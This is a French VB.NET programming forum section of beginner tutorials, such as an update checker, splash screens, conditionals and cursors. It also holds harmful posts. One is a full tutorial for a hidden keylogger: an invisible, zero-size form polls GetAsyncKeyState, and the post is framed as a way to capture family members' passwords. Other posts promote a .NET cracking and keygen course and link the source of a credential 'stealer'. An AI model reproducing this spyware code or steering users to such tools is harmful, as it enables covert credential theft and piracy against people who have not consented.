VB.Net

Mise à jour automatique par internet

iPheonix — Mon, 24 Nov 2014 19:36:02 GMT

.:: Mise à jour automatique par internet ::.

Aujourd'hui je vais vous apprendre comment faire un système de Mise à jour automatique par internet. Si vous avez le moindre problème avec ce tutoriel, je vous invite à laisser un message pour me prévenir (et afin que je puisse vous aidez à régler ce problème)

Sommaire :

1) A quoi ça va nous servir ?

2) Tutoriel

3) Code complet

1) A quoi ça va nous servir ?

Donc tout d'abbord, si vous avez un programme dont vous oubliez à chaque fois de mettre la mise à jour sur un forum ou autre, ce système peut très bien convenir pour vous. De plus, il est largement plus facile d'utiliser ce système que de mettre à chaque fois la mise à jour sur un post quelconque.

2) Tutoriel :

-> Commencer par créer un projet

-> Ajouter un bouton

-> Double cliquer sur la form qui se présente devant vous, normalement, la partie ou l'on doit entrer les codes apparaîts

-> Pour commencer, ajouter "Imports Systems.Net" (juste au dessus de Public Class Form1)

Pour l'instant, votre code devrait ressembler à ça :

Imports System.Net
Public Class MAJ
End Class

-> Ajouter dans le class, un dim, qu'on nommera "Version", il servira à définir la version actuelle de votre programme (changer la 1.0 par la version souhaitée)

Dim version as string = "1.0"

-> Retourner sur l'interface de la form, et double cliquer sur le boutton que vous avez ajouter précedemment, cela devrait vous redirigez vers les codes et ajouter un SUB.

-> Dans ce sub, nous allons définir ce que dois faire le boutton, ici, il devra vérifier s'il y a une mise à jour (Si oui, il vous indiquera que votre programme n'est pas à jour et vous inviteras à télécharger la mise à jour, si non, il vous indiquera que votre programme est à jour)

-> Nous allons créer un TXT ou on metteras notre version dedans, pour mon exemple, j'ai pris 3.0. Héberger ce TXT sur un hébergeur (j'ai pris Dropbox pour ma part). S'il n'y a pas de mise à jour, laissez la version actuelle, s'il y en a une, mettez la nouvelle version de votre programme. (Ex : Si mon ancien programme est de version 1.0, et que je laisse 1.0 dans le TXT, aucune mise à jour ne sera faite. Hors, si la version de mon TXT à changer par 2.0 car j'ai fais une mise à jour, celle-ci sera alors faite)

(Exemple d'hébergement sur dropbox : https://dl.dropboxusercontent.com/s/z5xu2ktgn0uw5bn/Version.txt)

-> Dans notre code, nous allons ajouter deux DIM. Un qui se nommera "MAJ" et un autre qui se nommera "DernièreVersion". Le Dim DernièreVersion servira à vérifier la version actuelle de notre programme à celle qui est indiquée sur internet.

Dim MAJ As New Webclient
Dim DernièreVersion As String = MAJ.DownloadString("https://dl.dropboxusercontent.com/s/z5xu2ktgn0uw5bn/Version.txt")

(Changer le lien par le votre)

Votre code devrait ressembler à ça :

Imports System.Net
Public Class MAJ
    Private Sub MephButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MephButton1.Click
        Dim MAJ As New WebClient
        Dim DernièreVersion As String = MAJ.DownloadString("https://dl.dropboxusercontent.com/s/z5xu2ktgn0uw5bn/Version.txt")
    End Sub
End Class

-> Ensuite, nous allons indiquer au bouton ce qu'il doit faire lorsque il y a une mise à jour ou non. Pour cela nous allons créer un If :

If Version = DernièreVersion Then
 
End If

-> Dans ce If, nous allons tout d'abord ajouter un MsgBox qui nous indiquera qu'il n'y a pas de mise à jour (si la version du programme est identique à celle marquée sur internet)

If Version = DernièreVersion Then
MsgBox("Le programme est à jour", MsgBoxStyle.Information, "Mise à jour")
End If

-> Pour le moment, nous avons juste indiquer au bouton ce qu'il devait faire quand il n'y avait pas de mise à jour. Indiquons lui maintenant ce qu'il doit faire quand il y aura une mise à jour. Commençons par lui ajouter une MsgBox nous indiquant que le programme n'est pas à jour (si la version du programme n'est pas identique à celle héberger sur internet)

If Version = DernièreVersion Then
MsgBox("Le programme est à jour", MsgBoxStyle.Information, "Mise à jour")
Else
MsgBox("Le programme n'est pas à jour" & vbNewLine & "La dernière version est : " & Dernièreversion, vbOkOnly + MsgBoxStyle.Critical, "Mise à jour"
End if

Sur le code ci-dessus, pour le deuxième message box. J'ai en premier temps mis un message fixe et fais un retour à la ligne (vbNewLine), ensuite j'ai mis un autre texte fixe puis j'ai ajouter le Dim DernièreVersion, qui indiquera automatiquement la version du programme disponible sur internet.

-> Il vous faut créer un nouveau TXT, qu'on nommera "NewVersion", celui-ci contiendra le lien de téléchargement de la nouvelle version. S'il n'y a pas de nouvelle version (et donc pas de mise à jour) mettez tout simplement /

(Exemple : https://dl.dropboxusercontent.com/s/yv3wgdyjolabyl4/NewVersion.txt)

-> Ensuite dans le code, nous allons ajouter deux dim. Un qui se nommera "NewVersion", qui contiendra le lien de téléchargement de la nouvelle version, et un autre "NewVersionDownload", qui indiquera ou le programme doit télécharger la nouvelle version.

Dim NewVersion As New WebClient
Dim NewVersionDownload As String = NewVersion.DownloadString("https://dl.dropboxusercontent.com/s/yv3wgdyjolabyl4/NewVersion.txt")

Le tutoriel est désormais terminé, vous pouvez maintenant tester le programme que vous venez vous-même de faire.

PS : Changer la version disponible sur internet afin de voir si votre programme détecte bien celle-ci et donc que le If est bien fais.

Code complet :

Je vous donne le code source, seulement pour vous aider à comprendre et donc apprendre comment fonctionne ce système !

Imports System.Net
Public Class MAJ
    Dim version As String = "1.0"
    Private Sub MephButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MephButton1.Click
        Dim MAJ As New WebClient
        Dim DernièreVersion As String = MAJ.DownloadString("https://dl.dropboxusercontent.com/s/z5xu2ktgn0uw5bn/Version.txt")
        If Version = DernièreVersion Then
            MsgBox("Le programme est à jour", MsgBoxStyle.Information, "Mise à jour")
        Else
            MsgBox("Le programme n'est pas à jour", & vbNewLine & "La dernière version est : " & DernièreVersion, vbOKOnly + MsgBoxStyle.Critical, "Mise à jour")
            Dim NewVersion As New WebClient
            Dim NewVersionDownload As String = NewVersion.DownloadString("https://dl.dropboxusercontent.com/s/yv3wgdyjolabyl4/NewVersion.txt")
        End If
    End Sub
End Class

Je pense que ça devrait-être tout pour mon premier tutoriel. Il y aura pas la suite d'autres, que je suis en train d'écrire

Xenocrack - Apprendre le cracking d'application .net

Droby — Fri, 02 May 2014 21:47:56 GMT

Plop

Voici Xenocrack, un site de xenocode avec plusieurs cours pour apprendre a cracker une application en .net.

Le site comporte également une section "divers" avec d'autres cours lié comme par exemple "introduction à la sécurité en .net"

Les cours sont divisé comme ceci :

-Introduction au cracking .net

-Petite introduction à Simple Assembly Explorer (SAE)

-Mon premier crack

-CFF Explorer -Quand SAE ne suffit plus

-Reflexil - le RE pour mamie

-Introduction à Reflexil

-System de Licence

-Mon premier Keygen

-System de Licence

-Debug avec VisualStudio

Voici le site : http://xenocrack.0pu.ru/#

Si les cours vous plaisent, pensez à remercier Xenocode.

Sources Atom Light

Mth — Wed, 30 Apr 2014 18:30:16 GMT

Rebonjour à tous!

Voici les sources d'un stealer codé en VB.NET,

Celui-ci se nomme Atom Light et voici les sources : clique ici

Mth

[VB.net de A à Z] - Conditions et boucles

vfrz — Fri, 14 Mar 2014 21:40:50 GMT

Bonjour,

Voici le tutoriel de "VB.net de A à Z" sur les conditions et boucles:

http://www.youtube.com/watch?v=1hNyLI2EoBc

[VB.net de A à Z] - Opérations sur variables

vfrz — Fri, 14 Mar 2014 21:40:13 GMT

Bonjour,

Voici le tutoriel de "VB.net de A à Z" sur les opérations sur variables:

http://www.youtube.com/watch?v=hWuWL76utfA

[VB.net de A à Z] - Variables

vfrz — Fri, 14 Mar 2014 21:39:20 GMT

Bonjour,

Voici le tutoriel de "VB.net de A à Z" sur les variables :

http://www.youtube.com/watch?v=SJyyZPdlTjY

[VB.net de A à Z] - Premiers pas

vfrz — Fri, 14 Mar 2014 21:37:49 GMT

Bonjour !

Aujourd'hui je vous poste la première (et surement les 3 autres après) vidéo de la série de tutoriel "VB.net de A à Z" que j'avait fait il y a quelque temps !

http://www.youtube.com/watch?v=i0oxIEOnkug

[Tutoriel] Lire et écrire un fichier texte

vfrz — Thu, 13 Mar 2014 21:28:17 GMT

Bonsoir,

Voici deux vidéos tutoriels qui ont été faites par moi pour apprendre à lire et écrire un fichier texte en VB.net :

Screeneur de screen dans un screenshot dans une capture d'écran =p

mars073 — Thu, 13 Mar 2014 21:28:13 GMT

Bonjour,

je vais faire un tuto différent que d'habitude...

Alors il vous faut :

-1 Picturebox

-4 boutons (start;stop;supprimer;enregistrer)

-1 SaveFileDialog

-1 Timer (Interval: 1)

PS: si vous utilisez aussi des PicturesBoxs pour faire vos boutons en plus personnalisé, mettez comme couleur d'arrière plan: "transparent" dans l'onglet "web"

Double click sur le Timer mettez le code:

Me.BackgroundImage = PictureBox1.Image
Dim bounds As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim qraph As Graphics
bounds = Screen.PrimaryScreen.Bounds
screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
qraph = Graphics.FromImage(screenshot)
qraph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot

Double click sur le bouton (start) mettez le code:

Timer1.start()

Double click sur le bouton (stop) mettez le code:

Timer1.stop()

Double click sur le bouton (supprimer) mettez le code:

PictureBox1.Image = Nothing
Me.BackgroundImage = Nothing

Double click sur le bouton (enregister) mettez le code:

Dim savefiledialog1 As New SaveFileDialog
Try
savefiledialog1.Title = "Enregistrer"
savefiledialog1.FileName = ".PNG"
savefiledialog1.Filter = "Image PNG |.Png"
If savefiledialog1.ShowDialog() = DialogResult.OK Then
PictureBox1.Image.Save(savefiledialog1.FileName, System.Drawing.Imaging.ImageFormat.Png)
        End If
    Catch ex As Exception

    End Try

Programme : NSW.exe

Contrôle VirusTotal

Cordialement,

Mars073

The Drag'n Drop è_é

mars073 — Thu, 13 Mar 2014 21:26:15 GMT

Salut all,

donc voici un tuto sur le drag'n drop, ce qui consiste juste dans le fait de faire glisser un fichier dans un un programme.

Donc sélectionnez votre élément ou votre form (selon la zone où vous voulez faire glisser le fichier, puis dans ses propriétés cherchez "AllowDrop" et activez le (True), si il n'est pas dans les propriétés, il est possible d'aller l'écrire directement dans le code du desing mais pour faire simple on va mettre le code suivant dans l’évènement du la form au chargement (double click sur la form ou double click sur l'évènement load de l'objet) et je rappel que ce code n'est que si vous n'avez pas trouvé "AllowDrop" dans les propriété:

[Nom_de_l'élèment] .AllowDrop = true

Sélectionnez votre élément et dans les propriétés allez dans l'onglet des events () et double click sur "DragEnter" et "DragDrop",

dans DragEnter entrez le code suivant:

e.Effect = e.AllowedEffect

dans DragDrop, dans cette exemple je vais charger un fichier image dans une picturebox:

Dim pictr() As String
Dim str As String ' va contenir le chamin d'accès
If e.Data.GetDataPresent(DataFormats.FileDrop) Then
pictr = e.Data.GetData(DataFormats.FileDrop)
str = pictr(0)
PictureBox1.Load(str) 'je charge l'image
End If

Et voilà c'est finis^^

Bonne programmation à tous!

Cordialement,

Mars073

Gérer une erreur ._.

mars073 — Thu, 13 Mar 2014 21:23:47 GMT

Salut all,

je vais faire un tuto rapide sur comment gérer une erreur, ce qui consiste en.. gérer une erreur.

c'est super simple il suffit d'utiliser "Try", je vais prendre par exemple un picturebox qui doit charger une image dont l'adresse se trouve dans une textebox.

Private Sub Machin_CLick() Handles Machin.click
Try
PictureBox1.load(textbox1.text) ' on essaie de charger l'image
Catch ex As Exception 'ex est la variable contient ls info sur l'erreur
MsgBox("Problème :" & vbNewLine & ex.Message.ToString, MsgBoxStyle.Critical) 'si la personne assez doué à mis un  lien pour un .txt par exemple, ça va afficher un message d'erreur
End Try
End Sub

Donc en claire le programme va essayer le code dans "Try" et si il bug il va faire l'action dans "Catch"

Voilà mon p'tit tuto rapide est finis.

Bonne programmation a tous!

Cordialement,

Mars073

_________

Le test (no-stress, c'est pas pour vous)

mars073 — Thu, 13 Mar 2014 21:18:44 GMT

Shalut all,

Comme je l'avais dis dans un tuto précédent je vais vous expliquer comment faire des tests et c'est super simple

Il y a juste plein de façon de le faire! xD

Pour faire un test simple, on fait comme ceci:

If [valeur à tester] [symbôle du test (voir le bas)] [La valeur à la quelle elle est comparée] then
[Le code à exécuter si le test se révèle positif]
End If

exemple:

If check = True then
Process.start("W:\tourbilol.exe")
End If

Imaginons que nous programmons un jeu et que vous voulons tester la position_X soit 3 et que le position_Y soit 5 on va faire comme cela:

If (position_X=3) and (position_Y=5) then
[Le code à exécuter si le test se révèle positif]
End If

Il suffit juste de mettre les 2valeurs entre parenthèse et de mettre un "And"(et) entre les deux.^^

Toujours facile.. alors on va compliquer les choses x)

Imaginons toujours notre petit jeux, cette fois je veux que la position_X soit 3 ou 5 et que que la position_Y soit 5

toujours simple mais bon :

If ((position_X=3) Or (position_X=5)) and (position_Y=5) then
[Le code à exécuter si le test se révèle positif]
End If

on ajoute encore des parenthèses et on met un "Or"(ou) même principe que le "And"

On monte encore un peu dans la difficulté

Cette fois la position_X doit être compris entre 3 et 5 et la position_Y doit doit être 5. è_é

If ((position_X>3) And (position_X<5)) and (position_Y=5) then
[Le code à exécuter si le test se révèle positif]
End If

Cette fois le test demande si le nombre est supérieur et si il est inférieur ^^

Maintenant on va demander que si number est 1 il envoie un message "c'est 1!"; si c'est 2 un message "c'est deux" et si ce n'est pas un des deux, le programme envoie un message "chiffre inconnu", et pour cela on va mettre un "Else If":

If number=1 then
Msgbox("c'est 1!")
Else If number=2 then
Msgbox("c'est 2!")
Else
Msgbox("chiffre inconnu")
End If

Edit: j'ai oublié de mettre comment faire pour faire directement un test pour tester si quelque chose n'est pas, un genre d'"Else If" mais direct dans le "If":

If Not (number=0) then [je ne pense pas que les parenthèses sont obligatoire mais je les mets toujours]
MsgBox("Le chiffre n'est pas zéro!")
End If

Il existe aussi la méthode du "Case Of" :

Select Case number
Case 1
Msgbox("c'est 1!")
Case 2
msgbox("c'est deux!")
Case Else
Msgbox("chiffre inconnu")
End Select

dans un case of on peu directement tester si la valeur et entre 2 nombre avec un to, exmple: si number est entre 3 et 5, il envoie un message "boum !":

Select Case number
Case 1
Msgbox("c'est 1!")
Case 2
msgbox("c'est deux!")
Case 3 to 5
msgbox("boum !")
Case Else
Msgbox("chiffre inconnu")
End Select

Les symboles de test logique:

=  : égale à ...
>  : supérieur à ...
<  : inférieur à ...
>= : supérieur ou égale à...
<= : inférieur ou égale à...
<> : inférieur ou supérieur à...

Bonne programmation a tous!

Cordialement,

Mars073

Les variables pour varier un peu

mars073 — Thu, 13 Mar 2014 21:13:27 GMT

Salut all,
Aujourd'hui je vais vous expliquez comment faire une variable pour varier un peu (blague en carton).

Donc une déclaration simple en vb.net
ressemble à:

Dim [Nom de la variable] As [Son type] = [sa valeur par défaut]

"Dim" sert à faire une déclaration standard si vous voulez faire une variable modifiable par un autre formulaire (ex: Form1.mavariable) en mettant "Dim Public" ou direct "Public" ou à inverse la rentre privée même système mais avec "Private" à la place de "Public".
la partie la plus indispensable c'est juste:

Dim [Nom de la variable]

car en vb on est pas obliger de donner le type et la valeur on peu la donner dans lors d'une étape.Si vous mettez la déclaration de la variable dans un timer et si vous donnez sa valeur à chaque tick la valeur va redevenir celle par défaut.
On peu aussi faire une variable avec comme type un dialogue, par exemple pour un savedialog on va mettre:

Dim mrsblue As New System.Windows.Forms.SaveFileDialog

et puis faire comme si on avait aouter le contrôle (outils).
Les types de variables, y en a plein donc je vais vous dire les principales:
" Byte " peut contenir un chiffre de 0 à 255 (comme les level dans wow? )
" Integer " peut contenir un chiffre de -32768 à 432767
" Real " peut contenir des chiffre à virgule (forme scientifique) va de -2,9e(exposé en 34) à 1,7e (exposé en 36)
" String " peut contenir une chaîne de caractères donc du texte^^
" Char " peut contenir qu'un seul caractère donc une lettre
" Boolean " peut contenir True ou False, un genre de oui ou non^^

Voilà prochaine de tuto sur la vb en théorie sera sur les tests

Bonne programmation a tous!
Cordialement,
Mars073

Faire un splashscreen avec le canal alpha (donc avec de la translucidité)

mars073 — Thu, 13 Mar 2014 21:10:36 GMT

Salut all,

Je encore faire un tuto à l'arrache.
Donc je vais vous expliquer comment faire pour faire un splashScreen, c'était l'image de présentation ou de chargement que l'on peu voir parfois avec certains programmes.

je vais prendre comme exemple:
/applications/sslimageproxy/interface/image.php?url=http://img72.xooimage.com/files/b/7/a/logos_red-30cdb6e.png"/>
il y a un dégradé de transparence et donc si j'utilise "tranparencyColor" ça va juste me retirer la couleur pure... alors dans ce cas il faut rien mettre dans transparency et mette un code kikoolong, enfin un peu long

/!\Les contrôles (outils) ne sont pas visible après la manipulation !/!

Le code à mettre après "Public Class [Votreforme]"

#Region "full_decla"
Public Structure BLENDFUNCTION
Public BlendOp As Byte
Public BlendFlags As Byte
Public SourceConstantAlpha As Byte
Public AlphaFormat As Byte
End Structure
Public Const ULW_COLORKEY As Integer = 1
Public Const ULW_ALPHA As Integer = 2
Public Const ULW_OPAQUE As Integer = 4
Public Const AC_SRC_OVER As Byte = 0
Public Const AC_SRC_ALPHA As Byte = 1
Public Const GWL_EXSTYLE = (-20)
Public Declare Function UpdateLayeredWindow Lib "user32.dll" (ByVal hwnd As IntPtr, ByVal hdcDst As IntPtr, ByRef pptDst As Point, ByRef psize As Size, ByVal hdcSrc As IntPtr, ByRef pprSrc As Point, ByVal crKey As Integer, ByRef pblend As BLENDFUNCTION, ByVal dwFlags As Integer) As Boolean
Private Declare Auto Function SetWindowLong Lib "User32.Dll" (ByVal hWnd As IntPtr, ByVal nIndex As Integer, ByVal dwNewLong As Integer) As Integer
Private Declare Auto Function GetWindowLong Lib "User32.Dll" (ByVal hWnd As IntPtr, ByVal nIndex As Integer) As Integer
Public Declare Function GetDC Lib "user32.dll" (ByVal hWnd As IntPtr) As IntPtr
Public Declare Function ReleaseDC Lib "user32.dll" (ByVal hWnd As IntPtr, ByVal hDC As IntPtr) As Integer
Public Declare Function CreateCompatibleDC Lib "gdi32.dll" (ByVal hDC As IntPtr) As IntPtr
Public Declare Function DeleteDC Lib "gdi32.dll" (ByVal hdc As IntPtr) As Boolean
Public Declare Function SelectObject Lib "gdi32.dll" (ByVal hDC As IntPtr, ByVal hObject As IntPtr) As IntPtr
Public Declare Function DeleteObject Lib "gdi32.dll" (ByVal hObject As IntPtr) As Boolean
Public Sub SetBitmap(ByVal PNG As Bitmap, ByVal opacity As Byte)
If Not (PNG.PixelFormat = Imaging.PixelFormat.Format32bppArgb) Then
Throw New ApplicationException("The bitmap must be 32ppp with alpha-channel.")
End If
Dim screenDc As IntPtr = GetDC(IntPtr.Zero)
Dim memDc As IntPtr = CreateCompatibleDC(screenDc)
Dim hBitmap As IntPtr = IntPtr.Zero
Dim oldBitmap As IntPtr = IntPtr.Zero
Try
hBitmap = PNG.GetHbitmap(Color.FromArgb(0))
oldBitmap = SelectObject(memDc, hBitmap)
Dim size As Size = New Size(PNG.Width, PNG.Height)
Dim pointSource As Point = New Point(0, 0)
Dim topPos As Point = New Point(Left, Top)
Dim blend As BLENDFUNCTION = New BLENDFUNCTION
blend.BlendOp = AC_SRC_OVER
blend.BlendFlags = 0
blend.SourceConstantAlpha = opacity
blend.AlphaFormat = AC_SRC_ALPHA
UpdateLayeredWindow(Handle, screenDc, topPos, size, memDc, pointSource, 0, blend, ULW_ALPHA)
Finally
ReleaseDC(IntPtr.Zero, screenDc)
If Not (hBitmap.Equals(IntPtr.Zero)) Then
SelectObject(memDc, oldBitmap)
DeleteObject(hBitmap)
End If
DeleteDC(memDc)
End Try
End Sub
#End Region

Puis dans Form.load:

Dim Param As Long
Param = GetWindowLong(Me.Handle, GWL_EXSTYLE)
Call SetWindowLong(Me.Handle, GWL_EXSTYLE, Param Or (524288))
Call SetBitmap(Me.BackgroundImage, 255)

___________
Tuto part2, un petit bonus

Comment faire une animation et faire en sorte que le splash se ferme un jour xD

Il suffit de mettre un timer avec un interval de 1000ms (1sec.)
et d'ajouter 2variales de type byte que on va appeler "Anim" et "Loader" (pense bête: faire un tuto sur les variables)
Donc vous mettez le code suivant entre de sub (si on le met dedans la variable va toujours se redéclarer et remettre la valeur de base.

Dim anim As Byte = 0
Dim loader As Byte = 0

Puis dans le Timer.tick (double clique sur le timer pour le voir) et dedans on va mettre:

anim += 1
If anim = 1 Then
Me.BackgroundImage = My.Resources.trame1 'la première image de l'animation
ElseIf anim = 10 Then
Me.BackgroundImage = My.Resources.trame2 ' la seconde
ElseIf anim = 11 Then
Me.BackgroundImage = My.Resources.trame2 ' la quatrième ou troisième je sais pu
loading += 1
anim = 0
End If
Dim Param As Long
Param = GetWindowLong(Me.Handle, GWL_EXSTYLE)
Call SetWindowLong(Me.Handle, GWL_EXSTYLE, Param Or (524288))
Call SetBitmap(Me.BackgroundImage, 255)
If loader = 3 Then
' Pensez à mettre la forme suivante à ouvrir et aller dans les préférences de votre projet et changer le style de fermeture par fermeture du dernier formulaire
Me.Close()
End If

Voilà maintenant vous savez faire des SplashScreen stylé
le code de base et pas de moi j'ai oublié la source mais je l'ai bcp édité de toute façon

Bonne programmation à tous!
Cordialement,
Mars073

Choisir l'emplacment exact d'une image dans une picturbox

mars073 — Thu, 13 Mar 2014 21:09:07 GMT

Shalut all,
je vais vous faire un tuto rapide pour placer une image dans une picturebox, je sais y a l'option padding ou magrin je sais pu.. mais avec on une peu pas mettre une position négative !

pour cela on va faire 2fonctions :

#Region "fonctions"
Private Function SetPictureAtPoint(ByVal FinalImageSize As System.Drawing.Size, ByVal Image As System.Drawing.Image, ByVal Location As System.Drawing.Point) As System.Drawing.Image
Dim TmpImg As System.Drawing.Image = New System.Drawing.Bitmap(FinalImageSize.Width, FinalImageSize.Height)
Dim Graphics As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(TmpImg)
Graphics.DrawImage(Image, Location)
Return TmpImg
End Function
Private Function SetPictureAtPoint(ByVal Image As System.Drawing.Image, ByVal Location As System.Drawing.Point) As System.Drawing.Image
Dim TmpImg As System.Drawing.Image = New System.Drawing.Bitmap(Location.X + Image.Width, Location.Y + Image.Height)
Dim Graphics As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(TmpImg)
Graphics.DrawImage(Image, Location)
Return TmpImg
End Function
#End Region

et puis dans Form.load on va mettre:

Dim Img As New Bitmap(My.Resources.bomb)
Me.PictureBox1.Image = SetPictureAtPoint(Img, New System.Drawing.Point(0, -20))

donc en rouge votre ressource
et en vert la position x,y de votre image.

EDIT: petite image cadeau xD
pour picturebox de 20Px/20Px
/applications/sslimageproxy/interface/image.php?url=http://img66.xooimage.com/files/8/3/e/bomb-30c18c6.png"/>

Voilà un petit tuto rapide je fais peut-être le refaire mais bon
bonne programmation à tous
cordialement,
Mars

comment créer un "usercontrol" (outils)

mars073 — Thu, 13 Mar 2014 21:07:24 GMT

Bonjour all,
je me balade à la recherche de chose que les gens arrivent pas à faire et je fais le tuto ici ainsi ça va attirer des gens.

Donc je vais vous faire un tutoriel pour créer et ajouter un outil dans votre projet,

j'ai un peux changé de style dans mes tutos, mais bon c'est toujours bien expliqué.^^

1-Créez un nouveau project.

2-Ajouter la barre d'outils.
/applications/sslimageproxy/interface/image.php?url=http://img74.xooimage.com/files/7/a/6/outils_gene-2f4839a.jpg"/>

3-Créer un "Contrôle d'utilisateur" je préfère dire "Usercontrol" mais bon..
/applications/sslimageproxy/interface/image.php?url=http://img67.xooimage.com/files/d/5/3/obj_usercontrol-2f4843f.jpg"/>

4-on va déjà mettre un code, mettez le background (couleur de fond) en couleur.
j'ai pris le code dans mon tuto >>ICI<<
il faut juste changer un code:

'ancien code:
SendMessage(Me.Handle.ToInt32, WM_NCLBUTTONDOWN, HTCAPTION, 0)
'nouveau code
SendMessage(ParentForm.Handle.ToInt32, WM_NCLBUTTONDOWN, HTCAPTION, 0)
'Il faut juste changer "Me" par "Parentform", si vous laissez le code identique c'est l'usercontrol qui va bouge (ça peut-être pratique^^).

5-Générer la solution (Ctrl+Maj+ B)
/!\ Si ça se marche pas enregistrer et relancer Vb Express(aucun Vb Expr ne doit être actif). si ça persiste relancer votre ordinateur ! Et normalement l'outil va apparaitre dans la "boîte à outils", et si vous en créez un deuxième il n'y aura pas besoins de reboot le logiciel/!

6-Retournez sur votre form de départ et dans votre "boîte à outils" vous devriez avoir ceci:
/applications/sslimageproxy/interface/image.php?url=http://img72.xooimage.com/files/4/d/8/obj_fin-2f4876e.jpg"/>

7-Après vous n'avez cas le disposer comme une "picturebox" et lancer votre programme.^^

~END~

Bonne programmation à tous!
Cordialement,
Mars073

Changer le curseur de votre form ou des objets^^

mars073 — Thu, 13 Mar 2014 21:03:24 GMT

Bonjour,
Je vais vous expliquez comment modifier le curseur de votre ou d'un objet.
programme conseillé:
Axialis - CursorWorkshop(même a la fin de la licence il est toujours utilisable)
fichier KDO:
Curseur de Wow (en 1bit)
Contrôle-TotalVirus

1.Il vous faut un fichier ".cur" (curseur/cusor) monochrome (1bit, en blanc, noir et transparence) ou alors çà va faire bugé votre application (normalement) --'

2.Ouvrez Visual Basic, puis votre projet aller dans ses propriétés, puis dans l'onglet "Ressources" ajouter votre ressource ".cur" (curseur).

3.retournez votre form faites un doule-click dessus pour afficher le code,
normalement vous aurez ceci (load) un peut haut dessus a droite:
/applications/sslimageproxy/interface/image.php?url=http://img50.xooimage.com/files/0/7/6/load-vb-2498ae1.jpg"/>
modifier le en "MouseMove", ce qui va créer un deuxième code supprimez le premier (load).

4.Mettez le code suivant:

Dim memory_stream As New System.IO.MemoryStream(My.Resources.Curseurwow)
Me.Cursor = New Cursor(memory_stream)

La form ou un object ( exemple: Me, Form2, button1, textbox1,...)
Le nom de la ressource (le curseur)
et voilà vous avez un nouveau curseur !

un code pour avoir des curseurs en 32bits(plusieurs couleurs), mais j'ai pas réussis à le mettre comme ressource...

Private Declare Unicode Function LoadCursorFromFile Lib "user32.dll" Alias "LoadCursorFromFileW" (ByVal filename As String) As IntPtr
Dim curseur As IntPtr
curseur = LoadCursorFromFile("C:\cursor.cur")
Me.Cursor = New Cursor(curseur)

Code à placer après la déclaration de votre form(Public Class Form1)
Nom du dim du curseur
Nom du chemin d'accès jusqu'au curseur
La form ou un object ( exemple: Me, Form2, button1, textbox1,...)
et voilà vous avez un nouveau curseur !

Bonne programmation a tous!
Cordialement,
Mars073

va pour enregistrer les frappes (j'ai reçu un coup)

mars073 — Thu, 13 Mar 2014 21:01:43 GMT

Bonjour,

je vais vous expliquez comment faire un enregistreur de frappe.^^

pour trouver le mot de passe de votre frère, votre mère, votre grand-père ou votre hamster...

Il faut:

-1 Form (Config: ShownInTaskbar=False; RightToLeftLayout=True; FormBorderStyle=None; Size=0; 0)

-1 Textbox (Config: visible=False) (Ancrer le textbox en fessant un clique sur le petit carré avec un triangle dessus)

-2 Timer (Config T1: Enabled=True; Interval=2) (Config T3: Enabled=True; Interval=100)

-1 NotifyIcon (Config: Icon=[votre Icône Windows)

-1 Icône windows de préférence

KDO:

un lien vers un site plein d'icône cool:

->Lien<- (lien icone windows)

et c'est partit pour le code... u_u

double clique sur la form pour afficher le code (oublier pas que il y a les textbox dessus, donc retirez le le temps de mettre le code) et au dessus, donc après Public Class [votre form]:

Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

et dans l'handle (le code form_load):

Timer1.Start()
Timer2.Start()
Me.Visible = False

maintenant double clique sur le timer1 pour afficher le code et on met dedans :

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i) ' on ajout le caractère qui est envoyé par le clavier à la suite de deux déjà capté
End If
Next i

Double clique sur le NotifyIcon1 pour afficher le code et on met dedans :

Me.WindowState = FormWindowState.Normal
Me.Height = 300 ' hauteur
Me.Width = 300 'largeur
Me.ShowInTaskbar = True 'affichage dans la barre de tâche
Me.FormBorderStyle = Windows.Forms.FormBorderStyle.Sizable ' style de bords...
Me.Visible = True ' si on l'affiche
TextBox1.Visible = True ' si on affiche les caractères masqués
Me.AllowTransparency = False
Me.RightToLeft = Windows.Forms.RightToLeft.Inherit
Me.Show()

Double clique sur le Timer2 pour afficher le code et on met dedans :

 If Me.WindowState = FormWindowState.Minimized Then 'on test l'état de la fenêtre
Me.Height = 0 'plein de paramètre chiant à expliquer
Me.Width = 0
Me.ShowInTaskbar = False
Me.FormBorderStyle = Windows.Forms.FormBorderStyle.None
Me.Visible = False
TextBox1.Visible = False
Me.AllowTransparency = True
Me.RightToLeft = Windows.Forms.RightToLeft.Inherit
'code by Mars073
End If

si vous cliquez sur play pour tester le programme il ne marchera par forcément, il faut le publier... les frappes ne sont pas très facile a lire mais d-quand on clique du effacer, ça ne supprime pas le texte enregistré.^^

Et quand on a fini on fait un double clique sur l'icône et le texte enregistré.

Bonne programmation à tous!

Cordialement,

Mars073

Déplacer sa "form" (fenêtre)

mars073 — Thu, 13 Mar 2014 20:59:51 GMT

Bonjour,
Je vais vous expliquez comment déplacer votre fenêtre avec un outil ou avec la fenêtre elle même, utile quand vous voulez faire un fenêtre personnalisé.

fichiers KDO:
-le bouton Réduire:/applications/sslimageproxy/interface/image.php?url=http://img60.xooimage.com/files/9/7/2/ui-panel-hidebutton-down--25cb274.png"/>
-le bouton Niveau inférieur:/applications/sslimageproxy/interface/image.php?url=http://img54.xooimage.com/files/1/a/3/ui-chaticon-maximize-up--25cb4a5.png"/>
-le bouton Niveau supérieur:/applications/sslimageproxy/interface/image.php?url=http://img51.xooimage.com/files/3/3/3/agrandir--25cb452.png"/>
-le bouton Fermer: /applications/sslimageproxy/interface/image.php?url=http://img62.xooimage.com/files/2/e/3/fermer--25cb524.png"/>
-une mini-image de fond =p: /applications/sslimageproxy/interface/image.php?url=http://img60.xooimage.com/files/1/7/4/ui-moneyframe2--25cb608.png"/>

1.Ouvrez Visual Basic, puis faites un double-clique sur l'objet ou la forme qui servira à faire bouger la fenêtre...

3.normalement vous aurez ceci (load) un peut haut dessus a droite:
